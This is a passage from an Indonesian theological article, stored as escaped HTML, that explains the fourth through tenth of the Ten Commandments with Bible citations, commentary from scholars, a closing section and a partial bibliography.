ini muncul beberapa kali dalam Alkitab (misalkan: Ul. 6:13; Maz. 63:11; Yes.\u00a045:23; Yer.4:2; 12:16; Rom. 1:9; 9:1; 1 Kor.\u00a015:31; Wah. 10:5-6).<\/p>\n<p>Tuhan Yesus menegaskan sebuah larangan sumpah yang palsu.\u00a0\u00a0 \u00a0Dalam kebiasaan bangsa Israel kuno dan bangsa- bangsa sekitarnya, orang bersumpah atas nama langit, bumi, tetapi bukan atas nama Allah. \u00a0Oleh karena itu patut diperhatikan peringatan Tuhan Yesus:\u00a0\u00a0 \u00a0Kamu telah mendengar pula yang di\ufb01rmankan kepada nenek moyang kita: jangan bersumpah palsu,\u00a0 \u00a0melainkan\u00a0\u00a0 peganglah\u00a0\u00a0 sumpahmu di depan Tuhan. Tetapi Aku berkata kepadamu: Jangan sekali-kali bersumpah baik demi langit, karena langit adalah tahta Allah, maupun demi bumi karena bumi adalah tumpuan kakiNya, ataupun demi Yerusalem, karena Yerusalem adalah kota Raja Besar,\u2026\u2026Jika ya hendaklah kamu katakan ya, jika tidak, hendaklah kamu katakan tidak. Apa yang lebih daripada itu berasal dari si jahat\u201d (<em>Mat. <\/em>5: 33-37).<\/p>\n<p><strong>T<\/strong><strong>itah<\/strong> <strong>Keempat: \u201cIngatlah dan kuduskanlah hari Sabat..\u201d (20:8)<\/strong><\/p>\n<p>Hukum ini dimaksudkan untuk menjaga \u00a0hari \u00a0sabath.\u00a0\u00a0 \u00a0Secara \u00a0sederhana\u00a0hari sabath adalah hari perhentian. \u00a0Istilah \u201cSabbath\u201d\u00a0 \u00a0dari\u00a0 \u00a0kata kerja bahasa\u00a0 \u00a0Ibrani yang artinya \u201cistirahat atau berhenti dari kerja.\u201d\u00a0 Ada \u00a0dua makna sabath menurut PL sbb:\u00a0Satu, Makna sabath ada hubungannya\u00a0\u00a0 \u00a0dengan \u00a0\u201cpenciptaan\u201d \u00a0(Kej.\u00a02:2-3 \u2013\u00a0Ketika Allah pada hari ketujuh telah menyelesaikan pekerjaan yang dibuat-Nya itu, \u00a0berhentilah \u00a0Ia \u00a0pada \u00a0hari \u00a0ketujuh \u00a0dari segala \u00a0pekerjaan \u00a0yang \u00a0telah \u00a0dibuat-Nya itu. Lalu Allah memberkati hari ketujuh itu dan \u00a0menguduskannya, \u00a0karena \u00a0pada \u00a0hari itulah \u00a0Ia \u00a0berhenti \u00a0dari \u00a0segala \u00a0pekerjaan penciptaan yang telah dibuat-Nya itu.). Dalam Kel. 16:21-30 dijelaskan maksudnya hari \u00a0perhentian \u00a0penuh, \u00a0tidak \u00a0melakukan pekerjaan dapur (membakar dan memasak) (ay. 23). \u00a0Hari sabath (hari ketujuh) adalah hari berkat bagi bangsa Israel. Berhenti dari pekerjaan \u00a0dan \u00a0mengingat \u00a0sang \u00a0Pencipta dan pemelihara alam semesta beserta segala isinya.(Fu, 2010: 234). Lebih jelas lagi, Keluaran 20:8-11 menyatakan : \u201cIngatlah dan kuduskanlah hari Sabat:\u00a09 enam \u00a0hari \u00a0lamanya \u00a0engkau \u00a0akan \u00a0bekerja dan melakukan segala pekerjaanmu, \u00a010 tetapi hari ketujuh adalah hari Sabat TUHAN,\u00a0Allahmu; maka jangan\u00a0\u00a0\u00a0 melakukan sesuatu pekerjaan, engkau atau anakmu laki-laki, atau anakmu \u00a0perempuan, \u00a0atau \u00a0hambamu \u00a0laki-laki, atau hambamu perempuan, atau hewanmu atau orang asing yang di tempat kediamanmu.\u00a0<em>1<\/em><em>1 Sebab enam hari lamanya TUHAN menjadikan langit dan bumi, laut dan segala isinya, dan Ia berhenti pada hari ketujuh; itulah sebabnya \u00a0TUHAN memberkati \u00a0hari \u00a0Sabat dan menguduskannya\u201d. (LAI, Terjemahan Baru, 2009. Huruf cetak miring \u00a0ditambahkan penulis)<\/em><\/p>\n<p>Dua, Sabath juga ada hubungannya dengan \u201cpenebusan\u201d dari perbudakan-yaitu bahwa Allah membawa Israel dari\u00a0 \u00a0tanah Mesir dengan tangan kanan-Nya, oleh karena itu merupakan hari yang khusus\/ dipisahkan untuk Allah. Ulangan 5:12-15 menyatakan:<\/p>\n<p><em>12 Tetaplah ingat dan kuduskanlah hari Sabat, seperti yang diperintahkan kepadamu oleh TUHAN, Allahmu.\u00a0 \u00a013 Enam hari lamanya engkau akan bekerja dan melakukan segala pekerjaanmu,\u00a0 \u00a014 tetapi hari ketujuh adalah hari Sabat TUHAN, Allahmu; maka jangan melakukan sesuatu pekerjaan, engkau atau anakmu laki-laki, atau anakmu perempuan, atau hambamu laki-laki, atau hambamu perempuan, atau lembumu, atau keledaimu, atau hewanmu yang manapun, atau orang asing yang di tempat kediamanmu, supaya hambamu laki-laki dan hambamu perempuan berhenti seperti engkau juga.\u00a0\u00a0 \u00a015 Sebab haruslah kauingat, bahwa engkaupun dahulu budak di tanah Mesir dan engkau dibawa keluar dari sana oleh TUHAN, Allahmu dengan tangan yang kuat dan lengan yang teracung; itulah sebabnya TUHAN, Allahmu, memerintahkan engkau merayakan hari Sabat. (LAI, Terjemahan Baru, 2009. Huruf cetak miring ditambahkan penulis)\u00a0<\/em>Allah mengingatkan Israel dulu mereka budak,\u00a0 kemudian\u00a0 sekarang\u00a0 setelah merdeka,\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0maka\u00a0 \u00a0harus\u00a0 \u00a0ingat\u00a0 \u00a0supaya tidak memperbudak diri sendiri dan seisi rumahnya\u00a0\u00a0 \u00a0bahkan\u00a0\u00a0 \u00a0ternaknya. Sabat digunakan sebagai kesempatan untuk melakukan\u00a0 kebaikkan\u00a0 bagi\u00a0 sesama manusia. Jadi dengan bersabath kita menerapkan nilai-nilai kemanusiaan dengan melakukan \u00a0kebaikkan \u00a0bagi \u00a0sesama \u00a0(Fu,\u00a02010: 235)<\/p>\n<p>Dalam Perjanjian Baru (PB), \u00a0Yesus meluruskan makna Sabath yang telah terdistorsi pada jamannya \u00a0(bdg. Mat. 12:1-14). Yesus menegaskan bahwa hari Sabath untuk\u00a0 \u00a0manusia,\u00a0 \u00a0sehingga\u00a0 \u00a0di\u00a0 \u00a0hadapan Allah manusia lebih penting daripada hari sabath. Yesus tidak mengubah makna yang esensi perhentian sabath sebagai berkat yang Allah berikan kepada manusia. Yang diubah adalah makna dan pelaksanaan perhentian hari sabath\u00a0 \u00a0di PL yang diganti dengan makna baru sesuai ajaran-Nya. Yesus adalah Tuhan atas hari sabat (Mat\u00a012:8). Yesus menawarkan perhentian\u00a0 \u00a0di dalam karya-Nya . Ia memberitakan kabar baik\u00a0\u00a0\u00a0 tentang\u00a0\u00a0\u00a0 pelepasan,\u00a0\u00a0\u00a0 pembebasan dan \u00a0pengampunan \u00a0oleh \u00a0karya-Nya \u00a0(Luk.\u00a04); \u00a0membebaskan \u00a0dari \u00a0kuk \u00a0hukum \u00a0(Mat.\u00a011), penggenapan\u00a0 \u00a0keselamatan secara eskatologis\u00a0 dengan\u00a0 memberikan\u00a0 hidup (Yoh. 5), penggenapan dari \u00a0istirahat Tuhan dalam \u00a0karya \u00a0penciptaan \u00a0-divine \u00a0rest\u00a0 dari Kej. 2:2-3, yang dimaksudkan untuk supaya manusia berbagian (Yoh. 5, Ibr. 3,4); bahwa perhentian keselamatan, \u00a0sebagai kekinian realitas surgawi yang dimasuki oleh iman dan telah berhenti dari usaha sendiri (Ibrani\u00a03, 4). \u00a0Pendeknya istirahat secara jasmani dalam sabath PL telah berubah menjadi perhentian keselamatan oleh sabath yang sebenarnya. \u00a0Sabath dalam perjanjian baru berarti \u00a0perhentian \u00a0yang sudah digenapkan lewat kematian dan kebangkitan-Nya \u00a0yang membawa \u00a0kelepasan \u00a0dan \u00a0pengampunan dari beban dosa. Dan merupakan perhentian eskatologis yaitu menerima\u00a0 \u00a0keselamatan kekal \u00a0olehn iman percaya kepada Yesus Kristus (Wahyu 14:13).\u00a0(Fu, 2010: 237-238)<\/p>\n<p>Respon orang Kristen\u00a0\u00a0 \u00a0terhadap perhentian di dalam Yesus Kristus adalah sebuah ibadah pada hari Tuhan (hari kebangkitan Tuhan) dengan berkumpul bersama saudara seiman\u00a0\u00a0\u00a0\u00a0 \u00a0untuk mempersembahkan pujian, sembahan, syukur dan persekutuan dengan sesama saudara seiman. Orang Kristen dipanggil untuk\u00a0 \u00a0mengutamakan Allah, menyegarkan rohani kita. Dengan bersabath, orang Kristen dipanggil untuk\u00a0 \u00a0percaya, sesungguhnya Allah yang memelihara seluruh aspek hidup kita.\u00a0 Di \u00a0dalam \u00a0segala \u00a0pergumulan \u00a0hidup yang berat, orang Kristen tetap percaya kepada Tuhan. Paulus adalah \ufb01gur orang Kristen yang \u00a0yang mendapat pewahyuan tentang bagaimana hebatnya sandaran di dalam Tuhan. Ia menemukan pewahyuan: \u201c Cukuplah kasih karunia-Ku bagimu, sebab justru dalam kelemahanlah kuasa-Ku menjadi sempurna.\u201d (2 Kor. 12:9a).<\/p>\n<p><strong>T<\/strong><strong>itah Kelima:\u00a0 \u00a0\u201cHormatilah Ayahmu dan\u00a0<\/strong><strong>Ibumu\u2026.\u201d (20:12).<\/strong><\/p>\n<p>Perintah ini mengandung janji \u2013bagi yang mentaatinya akan lanjut umurnya di \u00a0tanah \u00a0yang \u00a0diberikan \u00a0TUHAN, \u00a0Allah. (bdg. \u00a0Ef \u00a06:1-3). \u00a0Titah \u00a0ini\u00a0\u00a0\u00a0 \u00a0dimaksudkan untuk \u00a0melindungi \u00a0keluarga. \u00a0Menghormati\u00a0otoritas dimulai di dalam rumah. \u00a0Dengan menghormati\u00a0\u00a0 otoritas\u00a0\u00a0 maka\u00a0\u00a0 akan dibangun \u00a0sebuah\u00a0\u00a0\u00a0 \u00a0keluarga \u00a0yang \u00a0kuat. Kata\u00a0\u00a0 \u00a0\u201cmenghormati\u201d,\u00a0\u00a0 \u00a0\u201chonor\u201d berarti: membicarakan hal yang baik tentang mereka; bersikap sopan; bersikap hormat; mengikuti teladan dan ajaran mereka yang mengutamakan Allah.\u00a0 \u00a0Kaiser menjelaskan yang termasuk dalam \u201cmenghormati\u201d , meliputi\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0memberi penghargaan yang tinggi- menjunjung tinggi (bdg. Ams 4:8); Memelihara, menunjukkan kasih kepada mereka \u00a0(Ams \u00a091:15); dan menunjukkan rasa hormat atau takut , menyegani mereka (Im. 19:3). Anak-anak yang mentaati titah ini, akan mendapat upah \u00a0(Ul. \u00a04:1; 8:1; 16:20;\u00a030:15-16). \u00a0Penawanan Israel disebabkan salah satunya karena kegagalan mereka dalam menghormati orang tua mereka (Yeh.\u00a022:7, 15). (1994:100).<\/p>\n<p>Keith mengutif \u201cThe Large Catechism oleh Martin Luther\u201d, menjelaskan \u00a0bahwa \u00a0melalui \u00a0perintah \u00a0ini, kita melihat TUHAN memperlakukan ayah dan ibu di pihak-Nya, dan memperlakukan mereka sebagai orang-orang yang tinggi sekali. \u00a0Jika \u00a0kita \u00a0menghormati \u00a0orang \u00a0tua kita, maka kita memandang mereka tinggi dan mulia. Orang tua dikhususkan\u00a0 \u00a0dan dihargai \u00a0melebihi segala sesuatu, sebagai kekayaan yang paling berharga di muka bumi \u00a0ini. \u00a0Lagi \u00a0pula \u00a0dalam \u00a0berkata-kata kita\u00a0 \u00a0harus bersikap sederhana terhadap mereka, jangan menyapa mereka dengan kasar, dengan tinggi hati, dan dengan menantang, melainkan dengan berserah kepada mereka dan diam, sekalipun kalau mereka terlalu emosional. Seharusnya kita juga menunjukkan penghormatan kepada mereka melalui perbuatan kita, yakni dengan tubuh \u00a0dan harta milik kita, seharusnya kita melayani mereka, menolong mereka, dan mengurus mereka bila mereka sudah tua, sakit,\u00a0 lemah \u00a0dan \u00a0miskin, \u00a0dan \u00a0semua \u00a0itu kita lakukan bukan hanya dengan gembira, melainkan juga dengan rendah hati dan hormat, seperti kita lakukan di hadirat Tuhan (2005:86).<\/p>\n<p>Sebaliknya \u00a0dari \u00a0perintah \u00a0ini \u00a0orang tua dipanggil Tuhan untuk \u00a0mengasihi anak-anak \u00a0dan \u00a0mendidik \u00a0mereka \u00a0dalam \u00a0takut akan Tuhan dan di dalam jalan Allah(Ul. 4:9;\u00a06:6-7; Ef. 6:4).<\/p>\n<p>Anak-anak tetap ada dalam bimbingan orang tua sampai mereka menikah.\u00a0\u00a0\u00a0 \u00a0Anak-anak \u00a0kecil \u00a0harus \u00a0diajar untuk mentaati dan menghormati orang tuanya \u00a0dengan cara dididik dalam perintah Tuhan (Ams. 13:24). Anak yang lebih besar bahkan sesudah menikah , seharusnya menunjukkan respek untuk meminta nasihat dari orang tuanya, dan tetap menghormati sampai \u00a0masa \u00a0tuanya\u00a0\u00a0 \u00a0dengan \u00a0perhatian dan dukungan keuangan. Anak-anak yang menghormati orang tuanya akan diberkati. (Efesus 6:1-3).<\/p>\n<p><strong>T<\/strong><strong>itah \u00a0Keenam: \u201cJangan \u00a0membunuh\u201d (20:13)<\/strong><\/p>\n<p>Menurut Merril dalam <u>Teologi<\/u> <u>Alkitabiah Perjanjian Lama<\/u>\u00a0 \u00a0titah ini \u00a0adalah cara untuk menyatakan kembali argument \u201cHukum Pembalasan\u201d (lex talionist) \u00a0yang kuno dari Perjanjian Nuh : \u201cSiapa yang menumpahkan darah manusia, darahnya akan tertumpah oleh manusia, sebab Allah membuat \u00a0manusia \u00a0itu \u00a0menurut \u00a0gambar- Nya \u00a0sendiri\u201d \u00a0(Kej. \u00a09:6).\u00a0\u00a0\u00a0 \u00a0Manusia \u00a0tidak boleh membunuh sesamanya, sebab pembunuhan seperti itu sebenarnya merupakan serangan\u00a0\u00a0 \u00a0yang mematikan terhadap Allah sendiri. \u00a0Karena kehidupan adalah sakral bagi Allah pada umumnya (maka darah tidak boleh ditumpahkan ke tanah secara sembarangan \u00a0atau dimakan) dan khususnya darah manusia \u00a0(karena dia adalah gambar Allah), pelanggaran oleh manusia \u00a0sampai mengakibatkan kematian merupakan hinaan terhadap kedaulatan Allah,\u00a0\u00a0 dan\u00a0\u00a0 serangan\u00a0\u00a0 terhadap\u00a0\u00a0 wakilnya di dunia. ..\u201d \u00a0( 2005: 78-79). Larangan ini diberlakukan bagi pribadi-pribadi\u00a0 \u00a0dalam hubungan dengan orang lain, dan bukan dengan pemerintah.<\/p>\n<p>Titah keenam ini melarang pembunuhan.\u00a0 Dasar\u00a0 etis\u00a0 teologisnya, karena manusia diciptakan menurut gambar dan rupa Allah (Kej. 1:26-27; 9:6). Kata yang dipakai di sini dalam bahasa Ibrani \u00a0\u201crasah\u201d (8357) muncul hanya 47 kali dalam PL. Kata<\/p>\n<p>ini menunjukkan bahwa membunuh sebagai hal yang dirancang dan bermaksud dengan sungguh. Oleh karena itu larangan ini tidak termasuk untuk membunuh binatang buas (Kej. 9:3), untuk mempertahankan rumah seseorang dari pencuri, rampok di malam hari (Kel. 22:2); untuk pembunuhan yang tidak disengaja (Ulangan 19:5), eksekusi hukuman \u00a0mati \u00a0oleh \u00a0Negara \u00a0(Kej.\u00a0\u00a0\u00a0 \u00a09:6), atau keterlibatan seseorang sebagai warga negara yang sedang dilanda peperangan. Larangan ini berlalu bagi bunuh diri , dan segala jenis rancangan pembunuhan ( 2 Sam\u00a012:9), dan berlaku bagi pemegang otoritas tetapi gagal dalam menggunakan\u00a0 otoritas itu untuk menghukum para pembunuh ( 1 Raj. 21:19). \u00a0(Kaiser, 1994:101). Hukum \u00a0ini bermaksud untuk melindungi kehidupan. Dalam pernyataan yang lebih positif, titah ini\u00a0\u00a0 \u00a0melindungi setiap anggota dalam masyarakat perjanjian (the Covenant community) hak untuk hidup.<\/p>\n<p>Tuhan Yesus menegaskan larangan ini dengan memberikan standar yang lebih tinggi bagi orang Kristen dalam hubungan dengan titah ini. Ia mengatakan:<\/p>\n<p><em>21 Kamu telah mendengar yang di\ufb01rmankan kepada nenek moyang kita: Jangan membunuh; siapa yang membunuh harus dihukum. \u00a022 Tetapi Aku berkata kepadamu: Setiap orang yang marah terhadap saudaranya harus dihukum; siapa yang berkata kepada saudaranya: Ka\ufb01r! harus dihadapkan \u00a0ke \u00a0Mahkamah\u00a0 Agama \u00a0dan siapa yang berkata: Jahil! harus diserahkan ke dalam neraka yang menyala-nyala.\u00a0<\/em><em>23 Sebab itu, jika engkau mempersembahkan persembahanmu\u00a0 di\u00a0 atas\u00a0 mezbah\u00a0 dan engkau teringat akan sesuatu yang ada dalam hati saudaramu terhadap engkau,\u00a0<\/em><em>24 tinggalkanlah\u00a0\u00a0\u00a0 persembahanmu di depan mezbah itu dan pergilah berdamai dahulu dengan saudaramu, lalu kembali untuk mempersembahkan persembahanmu itu. 25 Segeralah berdamai dengan lawanmu selama\u00a0 engkau\u00a0 bersama-sama\u00a0 dengan\u00a0 dia di\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 tengah\u00a0 \u00a0jalan,\u00a0 \u00a0supaya\u00a0 \u00a0lawanmu\u00a0 \u00a0itu jangan menyerahkan engkau kepada hakim dan hakim\u00a0\u00a0\u00a0 \u00a0itu menyerahkan engkau kepada pembantunya dan engkau dilemparkan ke dalam penjara.\u00a0 \u00a026 Aku berkata kepadamu: Sesungguhnya engkau tidak akan keluar dari\u00a0<\/em><em>sana, sebelum engkau membayar hutangmu sampai lunas. (LAI, Matius 5:21-26. 2009. Huruf miring ditambahkan penulis).<\/em><\/p>\n<p><strong>T<\/strong><strong>itah Ketujuh: \u201cJangan berjinah\u201d (20:14)<\/strong><\/p>\n<p>Hukum ini untuk melindungi kemurnian dalam pernikahan. Sebagaimana titah yang pertama menuntut\u00a0\u00a0 \u00a0adanya kesetiaan yang mutlak dalam hubungan kita dengan TUHAN, maka dalam titah ke tujuh ini \u00a0ada \u00a0tuntutan \u00a0sejenis \u00a0yakni \u00a0kesetiaan yang mutlak dalam perjanjian nikah. Titah ke tujuh\u00a0 \u00a0ini memerintahkan pelarangan terhadap perjinahan.<\/p>\n<p>Kata \u201cberjinah\u201d dari istilah Ibrani\u00a0@a;n\u201dna\u2019aph {naw-af\u2019}, yang artinya; berbuat jinah dan penyembahan berhala. Kata kerja \u201cberjinah\u201d bisa dipakai untuk keduanya baik pria maupun wanita. Hukuman terhadap perjinahan adalah kematian (Ul. 22: 22), sedangkan hukuman untuk membujuk terhadap perawan adalah dengan menikahinya atau memberikan mas kawin (Kel. 22:16-17; Ul. 22:23-29). (Kaiser,\u00a01994:101)<\/p>\n<p>Perintah ini melarang segala bentuk keburukan \u2013ketidaksucian (uncleaness)-, dengan segala bentuk hawa nafsu yang akan\u00a0 menghasilkan\u00a0 tindakan\u00a0 \u2013tindakan yang berlawanan dengan hati nurani. Tuhan Yesus mengingatkan dengan \u00a0memberikan standar yang lebih tinggi\u00a0 \u00a0sehubungan dengan titah ini tertulis dalam Matius 5:28:\u00a0<em>\u201cKamu telah mendengar \ufb01rman: Jangan\u00a0<\/em><em>berzinah.<\/em><\/p>\n<p><em>T<\/em><em>etapi Aku berkata kepadamu: Setiap orang yang memandang perempuan serta menginginkannya, sudah berzinah dengan dia di dalam hatinya.<\/em><\/p>\n<p><em>Maka jika matamu yang kanan menyesatkan engkau, cungkillah dan buanglah itu, karena lebih baik bagimu jika satu dari anggota tubuhmu binasa, dari pada tubuhmu dengan utuh dicampakkan ke dalam neraka. (Terjemahan Baru, LAI. 2009).<\/em><\/p>\n<p>Sebenarnya titah ini merupakan titah yang bertujuan supaya kita hidup tulus dan murni dalam hati, perkataan dan tindakan.<\/p>\n<p><strong>T<\/strong><strong>itah Kedeelapan:\u00a0 \u00a0\u201cJangan mencuri\u201d (20:15)<\/strong><\/p>\n<p>Titah ini dimaksudkan untuk melindungi hak milik. Merupakan suatu larangan untuk mencuri baik orang atau obyek (benda) dengan segala bentuknya. Tuhanlah\u00a0 \u00a0pemilik\u00a0 \u00a0segala\u00a0 \u00a0sesuatu\u00a0 \u00a0(Maz.\u00a024:1; 115:16), dan hanya Dia yang berkuasa memberi dan mengambil.\u00a0 \u00a0Titah ini memedulikan\u00a0 \u00a0harta milik pribadi dan kekayaan, rumah dan harta benda. Titah ini bukan hanya pemindahan atau pengambilan secara diam-diam harta milik orang\u00a0\u00a0 lain, tetapi juga merusakkannya atau menganggap sebagai miliknya secara curang, \u00a0dengan tidak hati-hati menjaganya (Kel. 21:33; 22:13; 23:4-5; Ul. 22:1-4). Bahkan mengambil keuntungan akibat dari kebodohan \u00a0penjual maupun pembeli, untuk memberi seseorang sedikit \u00a0dan \u00a0membuat orang lain membayar untuk sebuah komoditas lebih dari \u00a0yang selayaknya, hal ini juga melanggar perintah ini.<\/p>\n<p>Setiap orang sebagai bagian dari Umat Perjanjian, berhak untuk memiliki sesuatu, yang mana \u00a0tidak bisa diganggu gugat oleh warga lainnya. \u00a0Lebih mendasar lagi perintah ini sehubungan dengan kebebasan manusia (human liberty). Berdasarkan titah ini, baik penculikan, pembuangan, kerja paksa maupun perbudakan terhadap sesamanya dilarang (Ul. 24: 7). Kita dipanggil untuk mengakui kepemilikan orang lain, menghargai hak dan harkat dan martabatnya.<\/p>\n<p><strong>T<\/strong><strong>itah Kesembilan: \u201cJangan <\/strong><strong>mengucapkan saksi dusta tentang sesamamu.\u201d (20:16)<\/strong><\/p>\n<p>Titah kesembilan menuntut kesucian di dalam kebenaran di dalam segala aspek kehidupan, meskipun memang bahasa yang dipakai merupakan bahasa dalam proses hukum di pengadilan. Menolak kebenaran sama artinya dengan menolak Tuhan, karena kharakter dan kepribadiannya adalah benar adanya.<\/p>\n<p>Titah ini dimaksudkan untuk melindungi berdusta di dalam sidang di pengadilan. Adanya pengadilan akan membuat \u00a0sebuah bangsa dapat terpelihara\u00a0dan lestari.\u00a0 \u00a0Berdusta baik secara privat maupun publik dilarang oleh perintah ini. Adapun makna dari \u00a0berdusta yakni \u00a0tidak menceritakan secara lengkap; mengatakan setengah\u00a0 \u00a0kebenaran; menambahi atau melebihi fakta; menyimpan kepalsuan. Oleh karena itulah\u00a0 Allah sangat membenci dusta (Inggris: deception).<\/p>\n<p>Prinsip kebenaran ini bila dipegang akan melindungi orang terhadap kesaksian palsu (saksi dusta) tentang sesamanya, merupakan sebuah tuntutan untuk mengatakan kebenaran. Hal ini menyangkut kehidupan sesama, terutama dalam kasus pengadilan.<\/p>\n<p>Hal-hal yang di larang berkaitan dengan perintah ini: Satu, Berkata-kata dengan palsu dalam segala hal, berbohong, melebih-lebihkan, dan setiap cara untuk mengembangkan dan merancang penipuan\u2013pembohongan kepada sesama. Dua,\u00a0 Berkata-kata\u00a0 secara\u00a0 tidak\u00a0 adil melawan tetangga kita atau orang lalin, bersyak wasangka terhadap reputasinya, yang melibatkan rasa bersalah dari keduannya.\u00a0 \u00a0Tiga, Membawa kesaksian palsu melawannya, padahal ia tahu tidak demikian, baik secara yudisial maupun dalam bentuk sumpah atau di luar proses yudisial, misalkan dalam percakapan sehari- hari, menjelek-jelekan dengan cara yang kasar, perasaan buruk, memprovokasi bahwa apa yang orang lain kerjakan tidak benar dan membuatnya lebih buruk dari itu, dan setiap cara untuk menaikkan reputasi sendiri dengan cara menghancurkan reputasi orang lain.\u00a0\u00a0 \u00a0(Mattew Henry Commentary, BibleWorks, 6.0).<\/p>\n<p><strong>Perintah Kesepuluh: \u201cJangan mengingini.\u201d (20:17)<\/strong><\/p>\n<p>Titah ini \u00a0ada \u00a0hubungan \u00a0dengan hati \u00a0manusia \u00a0yang \u00a0paling \u00a0dalam \u00a0(inner man) bukan sikap luarnya tapi sikap hati. Keinginan ada di dalam hati. Titah ini melawan sifat tamak dalam diri kita. Titah ini menembus akar permasalahan dalam diri manusia. Rasa tidak puas dengan apa yang dimilikinya dan menginginkan lebih banyak, bahkan apa yang dipunyai orang lain.<\/p>\n<p>Problem manusia sebagaimana pergumulan \u00a0Paulus,\u00a0 semakin\u00a0 dilarang untuk tidak menginginkan justru semakin banyak \u00a0yang \u00a0diingini \u00a0(lihat, \u00a0Roma \u00a07:7). Ada tabiat dosa yang harus diselesaikan dalam diri setiap manusia sehubungan dengan penerapan titah ini. Kristus juga memberi peringatan yang masih ada relevansinya \u00a0dengan \u00a0titah \u00a0ini; \u00a0\u201cKata-Nya lagi kepada mereka: \u201eBerjaga-jagalah dan waspadalah terhadap segala ketamakan, sebab walaupun seorang berlimpah-limpah hartanya, hidupnya tidaklah tergantung dari pada kekayaannya itu.\u201c (Lukas 12:15).<\/p>\n<p>Semakin jelas, titah ini bertujuan untuk melindungi hati dari iri hati. \u00a0Sejatinya Allah saja yang memenuhi segala keperluan kita. Secara positif, kita dititahkan supaya hidup\u00a0 berpadanan\u00a0 dengan\u00a0 pemberian Tuhan \u2013hidup sederhana\u2013\u00a0 \u00a0sebagaimana yang kita dapatkan dari Dia, kita syukuri. Menjaga kemurnian hati dan budi, menjaga orang agar tidak jatuh kedalam ketamakan dan keserakahan.<\/p>\n<p><strong>Penutup<\/strong><\/p>\n<p>Dasa Titah \u00a0dari Tuhan tidak berubah secara prinsip dan secara mendasar tetap menjadi pola hidup orang Kristen . Orang Kristen dipanggil untuk memiliki persekutuan yang benar dengan Tuhan-Right Relations With God; persekutuan yang benar dalam beribadah kepada Tuhan \u2013 Right Relations in the Worship of God; dan \u00a0hubungan yang benar dengan masyarakat \u2013 Right Relations With Society.<\/p>\n<p>Dasa titah yang dikumandangkan kembali\u00a0 \u00a0oleh\u00a0 \u00a0Raja\u00a0\u00a0 Yesus\u00a0 \u00a0Kristus dengan\u00a0 \u00a0mendeklarasikan hukum Kasih, menggambarkan kesempurnaan dari hukum Tuhan itu. Roh Kudus sendiri yang akhirnya menuliskan pada loh hati manusia yang percaya pada Yesus, dan menjadikannya manusia baru. Roh Kudus juga yang memberi daya dan kuasa untuk kita menjadi orang Kristen yang taat terhadap titah-Nya.<\/p>\n<p>Oleh karena dasa titah merupakan standar moral Kristen dasar, maka orang- orang\u00a0 \u00a0tua\u00a0 \u00a0Kristus\u00a0 \u00a0berkewajiban untuk\u00a0mengajarkan kepada anak-anak mereka, guru-guru di sekolah berkewajiban mengajarkan kepada siswa didik, selanjutnya para pemimpin masyarakat berkewajiban mengajarkan kepada generasi yang baru.<\/p>\n<p>Akhirnya, ketika orang-orang Kristen dengan pertolongan Roh Kudus mentaati dan\u00a0 \u00a0mengajarkan\u00a0\u00a0\u00a0\u00a0 \u00a0dasa\u00a0 \u00a0titah\u00a0 \u00a0dengan setia, maka pasti akan ada transformasi kehidupan\u00a0 \u00a0masyarakat\u00a0 \u00a0yang\u00a0 \u00a0riil.\u00a0 \u00a0Akan ada pembaruan budaya, pembaruan masyarakat, transformasi bangsa. Kiranya Tuhan menolong kita.<\/p>\n<p><strong>DAFTAR KEPUSTAKAAN<\/strong><\/p>\n<p>Bullock, C Hassell. <strong>Kitab Nabi-nabi\u00a0<\/strong><strong>Perjanjian Lama<\/strong>. Malang ; Gandum Mas.2002.<\/p>\n<p>Cleddie Keith. <strong>Sepuluh Perintah Allah sebagai Pola Doa<\/strong>. Jakarta: Penerbit Imanuel, 2005.<\/p>\n<p>Dyrness,\u00a0 William.\u00a0 <strong>Tema-tema Teologi Dalam Perjanjian Lama<\/strong>. \u00a0Malang: Gandum Mas 1992.<\/p>\n<p>Donald C Stamps, M.A. M.Div. (gen. ed.). <strong>Full Life Study bible. An International study Bible for Pentecostal and Charismatic\u00a0 \u00a0Christians<\/strong>. Grand Rapids, Michigan: Zondervan Coorporation, 1992)<\/p>\n<p>Eichrodt, Walther. <strong>Theology of The Old Testament Volume One<\/strong>. London: SCM Press Ltd.1961.<\/p>\n<p>Eichrodt, Walther. <strong>Theology of The Old Testament Volume two<\/strong>. London: SCM Press Ltd.1992.<\/p>\n<p>Feinberg, John (ed). <strong>Masih Relevankah Perjanjian Lama di Era Perjanjian Baru <\/strong>.\u00a0\u00a0 \u00a0Malang : Gandum Mas.1996.<\/p>\n<p>Feinberg, John S. dan Feinberg, Paul D. <strong>Ethics for A Brave New World<\/strong>. Wheaton, Illinois: Crossway books. 1992.<\/p>\n<p>Grenn, Denis.\u00a0<strong>Pengenalan\u00a0<\/strong><strong>Perjanjian Lama<\/strong>. \u00a0Malang: \u00a0Gandum \u00a0Mas.\u00a01992.<\/p>\n<p><strong>Lama. Masalah\u2013masalah Pokok dalam Perdebatan Saat ini<\/strong>.\u00a0 \u00a0Malang: Gandum Mas. 1992.<\/p>\n<p>Kenneth L . Barker. John\u00a0\u00a0 \u00a0R Kohlengerger III (ed.). <strong>Expositor\u2019s Bible Commentary<\/strong>. Grand Rapids, Michigan: Zondervan, 1994.<\/p>\n<p>Kaiser Jr, Walter C.\u00a0<strong>Teologi\u00a0<\/strong><strong>Perjanjian Lama. Malang<\/strong>: Gandum Mas,\u00a02004.<\/p>\n<p>Keil \u00a0&amp; \u00a0Delitzsch \u00a0<strong>Commentary \u00a0on the Old Testament<\/strong>: New Updated Edition, Electronic Database. Copyright (c) 1996 by Hendrickson Publishers, Inc.<\/p>\n<p>Ollenburger, Ben C., Marten,Elmer A. dan hasel, Gerhard F (ed) . <strong>The Flowering of \u00a0Old Testament Theology<\/strong>. Winona lake, Indiana:Eisenbrauns. 1991.<\/p>\n<p>Rogerson, John.\u00a0 \u00a0<strong>Studi Perjanjian Lama Bagi Pemula<\/strong>. Jakarta: BPK Gunung Mulia. 1996.<\/p>\n<p>Roy B Zuck (ed.) <strong>A Biblical Theology of the Old Testament. Teologi Alkitabiah Perjanjian Lama<\/strong>. Malang: Penerbit Gandum Mas. 2005<\/p>\n<p>Th. C. Vriezen. <strong>Agama Israel Kuno<\/strong>. Jakarta: BPK Gunung Mulia, 2000.<\/p>\n<p>Timotius Fu, Journal Veritas 11\/2 (Oktober 2010), 231-241). <strong>Perhentian Hari Sabat,makna dan aplikasinya bagi orang 